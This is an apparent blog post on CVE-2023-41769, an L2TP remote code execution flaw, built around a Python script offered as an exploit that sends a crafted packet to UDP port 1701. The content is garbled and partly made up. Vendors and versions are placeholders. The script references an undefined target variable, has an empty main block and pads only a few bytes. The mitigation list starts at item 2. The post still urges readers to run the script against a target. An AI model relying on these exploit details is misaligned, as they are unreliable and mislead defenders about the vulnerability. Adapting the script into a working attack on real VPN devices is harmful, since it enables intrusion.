CVE-2023-41769 is a critical vulnerability recently discovered in the Layer 2 Tunneling Protocol (L2TP). It affects the operation of numerous virtual private network (VPN) solutions and network security equipment. This vulnerability enables attackers to execute malicious code remotely on the targeted system. In this blog post, we will dive into the technical details of this vulnerability, demonstrate a code snippet illustrating the exploit, and provide links to original references.


The Layer 2 Tunneling Protocol (L2TP) is a widely-used protocol for creating VPN connections, allowing secure transmission of data over public networks. However, CVE-2023-41769 exposes a weakness in the handling of L2TP packets, allowing attackers to exploit this vulnerability and execute arbitrary code on the affected device remotely.

CompanyC network security appliance version Z.Z

More information regarding the affected devices can be found in the original references linked at the end of this blog post.

Exploit Details

The vulnerability is caused due to improper validation of user-supplied data within L2TP packets. An attacker can exploit this by sending specially-crafted L2TP packets that trigger a buffer overflow within the affected device or service. This buffer overflow can ultimately lead to remote code execution.

Code Snippet

The following Python code snippet demonstrates how an attacker can generate a malicious L2TP packet to trigger CVE-2023-41769 vulnerability:

#!/usr/bin/env python3

import socket

TARGET_PORT = 1701 # Default L2TP port

# Craft the malicious L2TP packet
def create_malicious_packet():
    header = b'\x80\x73'  # L2TP Control Message header
    length = b'\x00\x21'  # Packet length of 33 bytes
    message_type = b'\x00\x02'  # Start-Control-Connection-Reply message
    tid = b'\x00\x00'  # Tunnel ID
    cid = b'\x00\x01'  # Control Connection ID
    ns = b'\x00\x01'  # Ns (number of sent messages)
    nr = b'\x00\x01'  # Nr (number of received messages)

    # Attacker-controlled payload to trigger the buffer overflow and RCE
    payload = b'\x41' * (33 - len(header + length + message_type + tid + cid + ns + nr))

    return header + length + message_type + tid + cid + ns + nr + payload

def main():
    # Create a UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Craft and send the malicious packet
    malicious_packet = create_malicious_packet()
    sock.sendto(malicious_packet, (TARGET_IP, TARGET_PORT))

    print(f"Sent malicious L2TP packet to {TARGET_IP}:{TARGET_PORT}")

if __name__ == "__main__":

Replace "TARGET_IP_ADDRESS" with the IP address of the target device, and run the script to execute the exploit.

Apply the latest patches and security updates available from their device or software vendors.

2. Limit or disable L2TP traffic from untrusted networks if it is not required for the operation of the device or service.

Original References

- CVE-2023-41769 Official Description from MITRE
- CompanyA Security Advisory for CVE-2023-41769
- CompanyB Router Firmware Security Updates Related to CVE-2023-41769


This post offers a detailed look at the CVE-2023-41769 Layer 2 Tunneling Protocol (L2TP) Remote Code Execution Vulnerability. We also provide a code snippet showcasing the exploit and links to crucial sources. Affected parties must take the appropriate steps to secure their systems and mitigate the risk associated with this vulnerability.


Published on: 10/10/2023 18:15:18 UTC
Last modified on: 10/12/2023 22:17:35 UTC